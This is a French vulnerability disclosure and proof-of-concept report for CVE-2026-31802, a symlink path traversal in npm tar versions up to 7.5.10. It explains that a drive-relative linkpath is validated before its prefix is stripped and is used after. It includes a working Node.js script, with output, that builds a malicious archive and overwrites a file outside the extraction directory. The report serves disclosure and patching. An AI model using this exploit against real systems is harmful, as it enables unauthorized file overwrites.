
Preuve de concept et rapport technique pour CVE-2026-31802, un traversée de chemin par lien symbolique dans npm tar permettant l'écrasement arbitraire de fichiers en dehors du répertoire d'extraction.
Recherche : Joshua van Rijswijk
Ce dépôt contient ma preuve de concept et mon analyse pour CVE-2026-31802, une vulnérabilité de haute sévérité dans le paquet npm tar (node-tar) affectant les versions <= 7.5.10.
J'ai découvert que tar peut être trompé pour créer un lien symbolique pointant en dehors du répertoire d'extraction prévu en utilisant une cible de lien symbolique relative au lecteur telle que C:../../../target.txt. En pratique, cela permet de s'échapper du cwd lors de l'extraction et de transformer l'extraction d'archives en une primitive d'écrasement arbitraire de fichiers.
Le bug est atteignable via le comportement d'extraction normal avec des archives tar contrôlées par un attaquant.
En examinant la manière dont tar gère l'extraction des liens symboliques, j'ai remarqué que certaines valeurs linkpath étaient traitées de manière incohérente lors de l'assainissement et de la validation. En particulier, les chemins relatifs au lecteur tels que :
C:../../../target.txt
étaient réécrits avant utilisation, mais pas validés sous la même forme qu'ils étaient finalement stockés et appliqués.
C'est cette inadéquation qui rend le bug exploitable.
La vulnérabilité provient de la manière dont tar traite les valeurs linkpath de liens symboliques forgés lors de l'extraction.
À un niveau élevé, la logique d'extraction supprime le préfixe de lecteur d'un chemin tel que :
C:../../../target.txt
et le réécrit en :
../../../target.txt
Cependant, la vérification de sécurité de traversée est effectuée sur la valeur originale avant suppression du préfixe, tandis que la création du lien symbolique utilise ensuite la valeur réécrite.
Cela signifie qu'une archive malveillante peut passer la validation en utilisant une forme du chemin, mais produire néanmoins un lien symbolique qui traverse en dehors du répertoire d'extraction lorsqu'il est écrit sur le disque.
Une archive malveillante peut contenir une entrée de lien symbolique comme celle-ci :
path: a/b/l
type: SymbolicLink
linkpath: C:../../../target.txt
Lorsqu'elle est extraite avec une utilisation normale telle que :
tar.x({ cwd, file })
ce qui suit se produit :
linkpath.cwd.En d'autres termes, la logique d'extraction valide une valeur et en utilise une autre. Cet écart crée la primitive de traversée.
J'ai écrit la PoC suivante pour démontrer qu'un lien symbolique extrait peut être amené à pointer en dehors de la racine d'extraction, puis utilisé pour écraser un fichier en dehors du répertoire de travail.
La PoC :
../target.txta/b/llinkpath sur C:../../../target.txta/b/lScript de la PoC :
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
npm install [email protected]
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt
PWNED
../../../target.txt
lrwxrwxrwx ... a/b/l -> ../../../target.txt
-rw-r--r-- ... ../target.txt
PWNED confirme que le fichier en dehors du répertoire d'extraction a été écrasé.
La sortie de readlink et la liste des fichiers montrent que le lien symbolique extrait pointe en dehors de la racine d'extraction prévue.
Ce problème donne à un attaquant une primitive d'écrasement arbitraire de fichiers en dehors du répertoire d'extraction prévu, avec les permissions du processus effectuant l'extraction.
Les scénarios réalistes incluent :
Dans ces environnements, une archive forgée peut provoquer des écritures en dehors du répertoire que l'application s'attend à contrôler.
tar <= 7.5.10tar 7.5.11Ce problème a été corrigé dans 7.5.11.
Les utilisateurs doivent mettre à niveau immédiatement :
npm install tar@^7.5.11